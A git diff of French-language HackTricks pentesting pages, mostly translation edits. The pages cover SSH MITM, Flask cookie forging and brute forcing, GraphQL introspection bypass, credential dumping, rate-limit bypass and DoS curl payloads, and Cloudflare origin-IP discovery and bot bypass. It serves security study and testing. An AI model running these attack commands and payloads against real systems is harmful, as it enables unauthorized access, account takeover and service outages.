- **Exécution de commandes et relais :** Enfin, le serveur de l'attaquant **enregistre les identifiants de l'utilisateur**, **transmet les commandes** au véritable serveur SSH, **les exécute**, et **renvoie les résultats** à l'utilisateur, rendant le processus apparemment fluide et légitime.
|
||||
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) fait exactement ce qui est décrit ci-dessus.
|
||||
|
||||
@ -199,7 +199,7 @@ Il est courant que les serveurs SSH permettent la connexion de l'utilisateur roo
|
||||
|
||||
Il y a une négligence courante qui se produit avec les configurations SFTP, où les administrateurs ont l'intention que les utilisateurs échangent des fichiers sans activer l'accès shell à distance. Malgré le fait de définir des utilisateurs avec des shells non interactifs (par exemple, `/usr/bin/nologin`) et de les confiner à un répertoire spécifique, une faille de sécurité demeure. **Les utilisateurs peuvent contourner ces restrictions** en demandant l'exécution d'une commande (comme `/bin/bash`) immédiatement après s'être connectés, avant que leur shell non interactif désigné ne prenne le relais. Cela permet l'exécution non autorisée de commandes, sapant les mesures de sécurité prévues.
|
||||
|
||||
[Exemple ici](https://community.turgensec.com/ssh-hacking-guide/) :
|
||||
[Exemple d'ici](https://community.turgensec.com/ssh-hacking-guide/):
|
||||
```bash
|
||||
ssh -v noraj@192.168.1.94 id
|
||||
...
|
||||
@ -267,7 +267,7 @@ debug1: Next authentication method: password
|
||||
```
|
||||
Vérifier la configuration du serveur SSH est nécessaire pour s'assurer que seules les méthodes attendues sont autorisées. Utiliser le mode verbeux sur le client peut aider à voir l'efficacité de la configuration.
|
||||
|
||||
### Config files
|
||||
### Fichiers de configuration
|
||||
```bash
|
||||
ssh_config
|
||||
sshd_config
|
||||
|
||||
@ -4,6 +4,8 @@
|
||||
|
||||
Vérifiez cette page si vous souhaitez en savoir plus sur l'énumération et l'abus des Buckets :
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,6 +8,8 @@ Firebase est un Backend-as-a-Service principalement pour les applications mobile
|
||||
|
||||
En savoir plus sur Firebase dans :
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Exemple de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
|
||||
|
||||
Le listener d'événement "exit" est toujours défini par le code interne lorsque le chargement de la page commence. Cet événement est émis juste avant la navigation :
|
||||
L'écouteur d'événements "exit" est toujours défini par le code interne lorsque le chargement de la page commence. Cet événement est émis juste avant la navigation :
|
||||
```javascript
|
||||
process.on("exit", function () {
|
||||
for (let p in cachedArchives) {
|
||||
@ -15,7 +15,9 @@ cachedArchives[p].destroy()
|
||||
}
|
||||
})
|
||||
```
|
||||
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
|
||||
{{#ref}}
|
||||
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
|
||||
{{#endref}}
|
||||
|
||||
.png>)
|
||||
|
||||
@ -25,11 +27,11 @@ Ensuite, cela va ici :
|
||||
|
||||
.png>)
|
||||
|
||||
Où "self" est l'objet process de Node :
|
||||
Où "self" est l'objet de processus de Node :
|
||||
|
||||
.png>)
|
||||
|
||||
L'objet process a une référence à la fonction "require" :
|
||||
L'objet de processus a une référence à la fonction "require" :
|
||||
```
|
||||
process.mainModule.require
|
||||
```
|
||||
|
||||
@ -22,9 +22,11 @@ Le cookie est également signé à l'aide d'un mot de passe
|
||||
|
||||
### **Flask-Unsign**
|
||||
|
||||
Outil en ligne de commande pour récupérer, décoder, forcer par brute force et créer des cookies de session d'une application Flask en devinant les clés secrètes.
|
||||
Outil en ligne de commande pour récupérer, décoder, forcer par brute et créer des cookies de session d'une application Flask en devinant les clés secrètes.
|
||||
|
||||
{% embed url="https://pypi.org/project/flask-unsign/" %}
|
||||
{{#ref}}
|
||||
https://pypi.org/project/flask-unsign/
|
||||
{{#endref}}
|
||||
```bash
|
||||
pip3 install flask-unsign
|
||||
```
|
||||
@ -48,13 +50,15 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
||||
|
||||
Outil en ligne de commande pour effectuer des attaques par force brute sur des sites web en utilisant des cookies créés avec flask-unsign.
|
||||
|
||||
{% embed url="https://github.com/Tagvi/ripsession" %}
|
||||
{{#ref}}
|
||||
https://github.com/Tagvi/ripsession
|
||||
{{#endref}}
|
||||
```bash
|
||||
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
||||
```
|
||||
### SQLi dans le cookie de session Flask avec SQLmap
|
||||
|
||||
[**Cet exemple**](../../pentesting-web/sql-injection/sqlmap/#eval) utilise l'option sqlmap `eval` pour **signer automatiquement les charges utiles sqlmap** pour Flask en utilisant un secret connu.
|
||||
[**Cet exemple**](../../pentesting-web/sql-injection/sqlmap/#eval) utilise l'option `eval` de sqlmap pour **signer automatiquement les charges utiles de sqlmap** pour Flask en utilisant un secret connu.
|
||||
|
||||
## Proxy Flask vers SSRF
|
||||
|
||||
@ -64,7 +68,7 @@ GET @/ HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
Dans quel scénario suivant :
|
||||
Dans le scénario suivant :
|
||||
```python
|
||||
from flask import Flask
|
||||
from requests import get
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Introduction
|
||||
|
||||
GraphQL est **souligné** comme une **alternative efficace** à l'API REST, offrant une approche simplifiée pour interroger des données depuis le backend. Contrairement à REST, qui nécessite souvent de nombreuses requêtes à travers divers points de terminaison pour rassembler des données, GraphQL permet de récupérer toutes les informations nécessaires via une **unique requête**. Cette rationalisation **bénéficie considérablement aux développeurs** en réduisant la complexité de leurs processus de récupération de données.
|
||||
@ -185,7 +184,7 @@ Vous pouvez voir que les objets "_Flags_" sont composés de **name** et **value*
|
||||
```javascript
|
||||
query={flags{name, value}}
|
||||
```
|
||||
Notez que si l'**objet à interroger** est un **type** **primitif** comme **string**, comme dans l'exemple suivant
|
||||
Notez que si l'**objet à interroger** est un **type** **primitif** comme **string** comme dans l'exemple suivant
|
||||
|
||||
.png>)
|
||||
|
||||
@ -194,7 +193,7 @@ Vous pouvez simplement l'interroger avec :
|
||||
query = { hiddenFlags }
|
||||
```
|
||||
Dans un autre exemple où il y avait 2 objets à l'intérieur de l'objet de type "_Query_": "_user_" et "_users_".\
|
||||
Si ces objets n'ont besoin d'aucun argument pour rechercher, vous pourriez **récupérer toutes les informations à partir d'eux** simplement en **demandant** les données que vous voulez. Dans cet exemple d'Internet, vous pourriez extraire les noms d'utilisateur et mots de passe sauvegardés :
|
||||
Si ces objets n'ont pas besoin d'argument pour rechercher, vous pourriez **récupérer toutes les informations à partir d'eux** juste en **demandant** les données que vous voulez. Dans cet exemple d'Internet, vous pourriez extraire les noms d'utilisateur et mots de passe sauvegardés :
|
||||
|
||||
.png>)
|
||||
|
||||
@ -207,7 +206,7 @@ Quoi qu'il en soit, nous savions déjà que, dans la section [Basic Enumeration]
|
||||
|
||||
Si vous lisez l'image fournie lorsque j'exécute cette requête, vous verrez que "_**user**_" avait l'**arg** "_**uid**_" de type _Int_.
|
||||
|
||||
Ainsi, en effectuant un léger _**uid**_ bruteforce, j'ai découvert qu'avec _**uid**=**1**_, un nom d'utilisateur et un mot de passe ont été récupérés :\
|
||||
Donc, en effectuant un léger _**uid**_ bruteforce, j'ai découvert qu'avec _**uid**=**1**_ un nom d'utilisateur et un mot de passe ont été récupérés :\
|
||||
`query={user(uid:1){user,password}}`
|
||||
|
||||
.png>)
|
||||
@ -220,7 +219,7 @@ Et pendant la **phase d'énumération**, j'ai découvert que l'objet "_**dbuser*
|
||||
|
||||
**Truc de dump de chaîne de requête (merci à @BinaryShadow\_)**
|
||||
|
||||
Si vous pouvez rechercher par un type de chaîne, comme : `query={theusers(description: ""){username,password}}` et que vous **cherchez une chaîne vide**, cela **dump toutes les données**. (_Notez que cet exemple n'est pas lié à l'exemple des tutoriels, pour cet exemple, supposez que vous pouvez rechercher en utilisant "**theusers**" par un champ de chaîne appelé "**description**"_).
|
||||
Si vous pouvez rechercher par un type de chaîne, comme : `query={theusers(description: ""){username,password}}` et que vous **cherchez une chaîne vide**, cela va **dump toutes les données**. (_Notez que cet exemple n'est pas lié à l'exemple des tutoriels, pour cet exemple, supposez que vous pouvez rechercher en utilisant "**theusers**" par un champ de chaîne appelé "**description**"_).
|
||||
|
||||
### Recherche
|
||||
|
||||
@ -346,7 +345,7 @@ Vous pouvez trouver ci-dessous la démonstration la plus simple d'une requête d
|
||||
|
||||
.png>)
|
||||
|
||||
Comme nous pouvons le voir sur la capture d'écran de la réponse, la première et la troisième requêtes ont retourné _null_ et ont reflété les informations correspondantes dans la section _error_. La **deuxième mutation avait les données d'authentification correctes** et la réponse contient le bon jeton de session d'authentification.
|
||||
Comme nous pouvons le voir sur la capture d'écran de la réponse, les première et troisième requêtes ont renvoyé _null_ et ont reflété les informations correspondantes dans la section _error_. La **deuxième mutation avait les bonnes données d'authentification** et la réponse contient le bon jeton de session d'authentification.
|
||||
|
||||
 (1).png>)
|
||||
|
||||
@ -354,13 +353,13 @@ Comme nous pouvons le voir sur la capture d'écran de la réponse, la première
|
||||
|
||||
De plus en plus de **points de terminaison graphql désactivent l'introspection**. Cependant, les erreurs que graphql renvoie lorsqu'une requête inattendue est reçue sont suffisantes pour que des outils comme [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) puissent recréer la plupart du schéma.
|
||||
|
||||
De plus, l'extension Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observe les requêtes API GraphQL passant par Burp** et **construit** un **schéma** GraphQL interne avec chaque nouvelle requête qu'il voit. Elle peut également exposer le schéma pour GraphiQL et Voyager. L'extension retourne une réponse factice lorsqu'elle reçoit une requête d'introspection. En conséquence, GraphQuail montre toutes les requêtes, arguments et champs disponibles pour une utilisation au sein de l'API. Pour plus d'infos [**vérifiez ceci**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
De plus, l'extension Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observe les requêtes API GraphQL passant par Burp** et **construit** un **schéma** GraphQL interne avec chaque nouvelle requête qu'il voit. Elle peut également exposer le schéma pour GraphiQL et Voyager. L'extension renvoie une réponse factice lorsqu'elle reçoit une requête d'introspection. En conséquence, GraphQuail montre toutes les requêtes, arguments et champs disponibles pour une utilisation au sein de l'API. Pour plus d'infos [**vérifiez ceci**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
|
||||
Une belle **liste de mots** pour découvrir [**les entités GraphQL peut être trouvée ici**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
||||
|
||||
### Contournement des défenses d'introspection GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
|
||||
Pour contourner les restrictions sur les requêtes d'introspection dans les API, l'insertion d'un **caractère spécial après le mot-clé `__schema`** s'avère efficace. Cette méthode exploite les erreurs courantes des développeurs dans les motifs regex qui visent à bloquer l'introspection en se concentrant sur le mot-clé `__schema`. En ajoutant des caractères comme **espaces, nouvelles lignes et virgules**, que GraphQL ignore mais qui pourraient ne pas être pris en compte dans le regex, les restrictions peuvent être contournées. Par exemple, une requête d'introspection avec une nouvelle ligne après `__schema` peut contourner de telles défenses :
|
||||
Pour contourner les restrictions sur les requêtes d'introspection dans les API, l'insertion d'un **caractère spécial après le mot-clé `__schema`** s'avère efficace. Cette méthode exploite les erreurs courantes des développeurs dans les motifs regex qui visent à bloquer l'introspection en se concentrant sur le mot-clé `__schema`. En ajoutant des caractères comme **espaces, nouvelles lignes et virgules**, que GraphQL ignore mais qui pourraient ne pas être pris en compte dans les regex, les restrictions peuvent être contournées. Par exemple, une requête d'introspection avec une nouvelle ligne après `__schema` peut contourner de telles défenses :
|
||||
```bash
|
||||
# Example with newline to bypass
|
||||
{
|
||||
@ -412,9 +411,9 @@ Si vous ne savez pas ce qu'est le CSRF, lisez la page suivante :
|
||||
../../pentesting-web/csrf-cross-site-request-forgery.md
|
||||
{{#endref}}
|
||||
|
||||
Là-bas, vous pourrez trouver plusieurs points de terminaison GraphQL **configurés sans tokens CSRF.**
|
||||
Vous allez pouvoir trouver plusieurs points de terminaison GraphQL **configurés sans tokens CSRF.**
|
||||
|
||||
Notez que les requêtes GraphQL sont généralement envoyées via des requêtes POST en utilisant le Content-Type **`application/json`**.
|
||||
Notez que les requêtes GraphQL sont généralement envoyées via des requêtes POST utilisant le type de contenu **`application/json`**.
|
||||
```javascript
|
||||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||||
```
|
||||
@ -422,7 +421,7 @@ Cependant, la plupart des points de terminaison GraphQL prennent également en c
|
||||
```javascript
|
||||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
```
|
||||
Par conséquent, comme les requêtes CSRF comme celles précédentes sont envoyées **sans requêtes préalables**, il est possible de **faire** **des modifications** dans le GraphQL en abusant d'un CSRF.
|
||||
Par conséquent, comme les requêtes CSRF comme celles précédentes sont envoyées **sans requêtes préalables**, il est possible de **faire** **des changements** dans le GraphQL en abusant d'un CSRF.
|
||||
|
||||
Cependant, notez que la nouvelle valeur par défaut du cookie du drapeau `samesite` de Chrome est `Lax`. Cela signifie que le cookie ne sera envoyé que depuis un site tiers dans les requêtes GET.
|
||||
|
||||
@ -436,7 +435,7 @@ Pour plus d'informations, **vérifiez le** [**post original ici**](https://blog.
|
||||
|
||||
Semblable aux vulnérabilités CRSF abusant de GraphQL, il est également possible de réaliser un **détournement de WebSocket intersite pour abuser d'une authentification avec GraphQL avec des cookies non protégés** et faire en sorte qu'un utilisateur effectue des actions inattendues dans GraphQL.
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
Pour plus d'informations, vérifiez :
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/websocket-attacks.md
|
||||
@ -460,19 +459,19 @@ La mutation pourrait même conduire à une prise de contrôle de compte en essay
|
||||
|
||||
[Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) ensemble peut contourner un système d'authentification faible.
|
||||
|
||||
Dans l'exemple ci-dessous, vous pouvez voir que l'opération est "forgotPassword" et qu'elle ne devrait exécuter que la requête forgotPassword qui lui est associée. Cela peut être contourné en ajoutant une requête à la fin, dans ce cas, nous ajoutons "register" et une variable utilisateur pour que le système s'enregistre en tant que nouvel utilisateur.
|
||||
Dans l'exemple ci-dessous, vous pouvez voir que l'opération est "forgotPassword" et qu'elle ne devrait exécuter que la requête forgotPassword qui lui est associée. Cela peut être contourné en ajoutant une requête à la fin, dans ce cas nous ajoutons "register" et une variable utilisateur pour que le système s'enregistre en tant que nouvel utilisateur.
|
||||
|
||||
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Contournement des limites de taux en utilisant des alias dans GraphQL
|
||||
|
||||
Dans GraphQL, les alias sont une fonctionnalité puissante qui permet le **nommage explicite des propriétés** lors d'une requête API. Cette capacité est particulièrement utile pour récupérer **plusieurs instances du même type** d'objet dans une seule requête. Les alias peuvent être utilisés pour surmonter la limitation qui empêche les objets GraphQL d'avoir plusieurs propriétés avec le même nom.
|
||||
Dans GraphQL, les alias sont une fonctionnalité puissante qui permet de **nommer explicitement les propriétés** lors d'une demande d'API. Cette capacité est particulièrement utile pour récupérer **plusieurs instances du même type** d'objet dans une seule demande. Les alias peuvent être utilisés pour surmonter la limitation qui empêche les objets GraphQL d'avoir plusieurs propriétés avec le même nom.
|
||||
|
||||
Pour une compréhension détaillée des alias GraphQL, la ressource suivante est recommandée : [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
|
||||
Bien que l'objectif principal des alias soit de réduire la nécessité de nombreux appels API, un cas d'utilisation non intentionnel a été identifié où les alias peuvent être exploités pour exécuter des attaques par force brute sur un point de terminaison GraphQL. Cela est possible car certains points de terminaison sont protégés par des limiteurs de taux conçus pour contrer les attaques par force brute en restreignant le **nombre de requêtes HTTP**. Cependant, ces limiteurs de taux pourraient ne pas tenir compte du nombre d'opérations dans chaque requête. Étant donné que les alias permettent l'inclusion de plusieurs requêtes dans une seule requête HTTP, ils peuvent contourner de telles mesures de limitation de taux.
|
||||
Bien que le but principal des alias soit de réduire la nécessité de nombreux appels API, un cas d'utilisation non intentionnel a été identifié où les alias peuvent être exploités pour exécuter des attaques par force brute sur un point de terminaison GraphQL. Cela est possible car certains points de terminaison sont protégés par des limiteurs de taux conçus pour contrer les attaques par force brute en restreignant le **nombre de requêtes HTTP**. Cependant, ces limiteurs de taux pourraient ne pas tenir compte du nombre d'opérations dans chaque demande. Étant donné que les alias permettent d'inclure plusieurs requêtes dans une seule demande HTTP, ils peuvent contourner de telles mesures de limitation de taux.
|
||||
|
||||
Considérez l'exemple fourni ci-dessous, qui illustre comment des requêtes aliasées peuvent être utilisées pour vérifier la validité des codes de réduction en magasin. Cette méthode pourrait contourner la limitation de taux puisqu'elle compile plusieurs requêtes en une seule requête HTTP, permettant potentiellement la vérification de plusieurs codes de réduction simultanément.
|
||||
Considérez l'exemple fourni ci-dessous, qui illustre comment des requêtes aliasées peuvent être utilisées pour vérifier la validité des codes de réduction en magasin. Cette méthode pourrait contourner la limitation de taux puisqu'elle compile plusieurs requêtes en une seule demande HTTP, permettant potentiellement la vérification de nombreux codes de réduction simultanément.
|
||||
```bash
|
||||
# Example of a request utilizing aliased queries to check for valid discount codes
|
||||
query isValidDiscount($code: Int) {
|
||||
@ -489,20 +488,20 @@ valid
|
||||
```
|
||||
## DoS dans GraphQL
|
||||
|
||||
### Surcharge d'Alias
|
||||
### Surcharge d'Aliases
|
||||
|
||||
**Surcharge d'Alias** est une vulnérabilité GraphQL où les attaquants surchargent une requête avec de nombreux alias pour le même champ, ce qui amène le résolveur backend à exécuter ce champ de manière répétée. Cela peut submerger les ressources du serveur, entraînant une **Déni de Service (DoS)**. Par exemple, dans la requête ci-dessous, le même champ (`expensiveField`) est demandé 1 000 fois en utilisant des alias, forçant le backend à le calculer 1 000 fois, ce qui peut épuiser le CPU ou la mémoire :
|
||||
**Surcharge d'Aliases** est une vulnérabilité GraphQL où les attaquants surchargent une requête avec de nombreux alias pour le même champ, ce qui amène le résolveur backend à exécuter ce champ de manière répétée. Cela peut submerger les ressources du serveur, entraînant une **Déni de Service (DoS)**. Par exemple, dans la requête ci-dessous, le même champ (`expensiveField`) est demandé 1 000 fois en utilisant des alias, forçant le backend à le calculer 1 000 fois, ce qui peut épuiser le CPU ou la mémoire :
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "Content-Type: application/json" \
|
||||
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
Pour atténuer cela, mettez en œuvre des limites de compte d'alias, une analyse de la complexité des requêtes ou une limitation de débit pour prévenir l'abus de ressources.
|
||||
Pour atténuer cela, mettez en œuvre des limites de compte d'alias, une analyse de la complexité des requêtes ou un contrôle de débit pour prévenir l'abus de ressources.
|
||||
|
||||
### **Regroupement de Requêtes Basé sur des Tableaux**
|
||||
### **Batching de Requêtes Basé sur des Tableaux**
|
||||
|
||||
**Regroupement de Requêtes Basé sur des Tableaux** est une vulnérabilité où une API GraphQL permet de regrouper plusieurs requêtes dans une seule demande, permettant à un attaquant d'envoyer un grand nombre de requêtes simultanément. Cela peut submerger le backend en exécutant toutes les requêtes regroupées en parallèle, consommant des ressources excessives (CPU, mémoire, connexions à la base de données) et pouvant potentiellement conduire à un **Denial of Service (DoS)**. S'il n'existe aucune limite sur le nombre de requêtes dans un lot, un attaquant peut exploiter cela pour dégrader la disponibilité du service.
|
||||
**Batching de Requêtes Basé sur des Tableaux** est une vulnérabilité où une API GraphQL permet de regrouper plusieurs requêtes dans une seule demande, permettant à un attaquant d'envoyer un grand nombre de requêtes simultanément. Cela peut submerger le backend en exécutant toutes les requêtes groupées en parallèle, consommant des ressources excessives (CPU, mémoire, connexions à la base de données) et pouvant potentiellement conduire à un **Denial of Service (DoS)**. S'il n'existe aucune limite sur le nombre de requêtes dans un lot, un attaquant peut exploiter cela pour dégrader la disponibilité du service.
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -569,7 +568,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
|
||||
### Tests automatiques
|
||||
|
||||
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
|
||||
{{#ref}}
|
||||
https://graphql-dashboard.herokuapp.com/
|
||||
{{#endref}}
|
||||
|
||||
- Vidéo expliquant AutoGraphQL : [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
||||
|
||||
@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
||||
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -14,8 +14,8 @@
|
||||
|
||||
## Outils pour découvrir Cloudflare
|
||||
|
||||
- Recherchez le domaine sur [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) ou [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Ou utilisez l'outil [CloudPeler](https://github.com/zidansec/CloudPeler) (qui utilise cette API)
|
||||
- Recherchez le domaine sur [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
|
||||
- Recherchez le domaine à l'intérieur de [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) ou [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Ou utilisez l'outil [CloudPeler](https://github.com/zidansec/CloudPeler) (qui utilise cette API)
|
||||
- Recherchez le domaine dans [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
|
||||
- [**CloudFlair**](https://github.com/christophetd/CloudFlair) est un outil qui recherchera en utilisant des certificats Censys contenant le nom de domaine, puis il recherchera des IPv4 à l'intérieur de ces certificats et enfin il essaiera d'accéder à la page web sur ces IP.
|
||||
- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r) : CloakQuest3r est un puissant outil Python méticuleusement conçu pour découvrir la véritable adresse IP des sites web protégés par Cloudflare et d'autres alternatives, un service largement adopté pour la sécurité web et l'amélioration des performances. Sa mission principale est de discerner avec précision l'adresse IP réelle des serveurs web qui sont dissimulés derrière le bouclier protecteur de Cloudflare.
|
||||
- [Censys](https://search.censys.io/)
|
||||
@ -41,7 +41,9 @@ Notez que même si cela a été fait pour des machines AWS, cela pourrait être
|
||||
|
||||
Pour une meilleure description de ce processus, consultez :
|
||||
|
||||
{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||
{{#endref}}
|
||||
```bash
|
||||
# Find open ports
|
||||
sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt
|
||||
@ -70,7 +72,7 @@ Plus d'infos [**ici**](https://socradar.io/cloudflare-protection-bypass-vulnerab
|
||||
|
||||
### Adresses IP Cloudflare sur liste blanche
|
||||
|
||||
Cela **rejette les connexions qui ne proviennent pas des** plages d'adresses IP de **Cloudflare**. Cela est également vulnérable à la configuration précédente où un attaquant pourrait simplement **pointer son propre domaine dans Cloudflare** vers l'adresse **IP** des **victimes**.
|
||||
Cela **rejette les connexions qui ne proviennent pas des** plages d'adresses IP de **Cloudflare**. Cela est également vulnérable à la configuration précédente où un attaquant peut simplement **pointer son propre domaine dans Cloudflare** vers l'adresse **IP** des **victimes**.
|
||||
|
||||
Plus d'infos [**ici**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
|
||||
|
||||
@ -120,11 +122,11 @@ Certains d'entre eux sont :
|
||||
- [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32)
|
||||
- [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) sont connus pour leurs mécanismes de contournement Cloudflare propriétaires.
|
||||
|
||||
Pour ceux qui recherchent une solution optimisée, le [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) se distingue. Ce service intègre plus de 20 fournisseurs de proxy dans une seule API, sélectionnant automatiquement le meilleur et le plus rentable proxy pour vos domaines cibles, offrant ainsi une option supérieure pour naviguer dans les défenses de Cloudflare.
|
||||
Pour ceux qui recherchent une solution optimisée, l'[Agrégateur de Proxies ScrapeOps](https://scrapeops.io/proxy-aggregator/) se distingue. Ce service intègre plus de 20 fournisseurs de proxies dans une seule API, sélectionnant automatiquement le meilleur et le plus rentable pour vos domaines cibles, offrant ainsi une option supérieure pour naviguer dans les défenses de Cloudflare.
|
||||
|
||||
### Ingénierie inverse de la protection anti-bot de Cloudflare <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
|
||||
|
||||
L'ingénierie inverse des mesures anti-bot de Cloudflare est une tactique utilisée par les fournisseurs de proxy intelligents, adaptée au scraping web à grande échelle sans le coût élevé de l'exécution de nombreux navigateurs sans tête.
|
||||
L'ingénierie inverse des mesures anti-bot de Cloudflare est une tactique utilisée par les fournisseurs de proxies intelligents, adaptée au scraping web à grande échelle sans le coût élevé de l'exécution de nombreux navigateurs sans tête.
|
||||
|
||||
**Avantages :** Cette méthode permet de créer un contournement extrêmement efficace qui cible spécifiquement les vérifications de Cloudflare, idéal pour des opérations à grande échelle.
|
||||
|
||||
|
||||
@ -2,16 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Console RCE
|
||||
|
||||
Si le débogage est actif, vous pouvez essayer d'accéder à `/console` et d'obtenir RCE.
|
||||
Si le débogage est actif, vous pourriez essayer d'accéder à `/console` et d'obtenir RCE.
|
||||
```python
|
||||
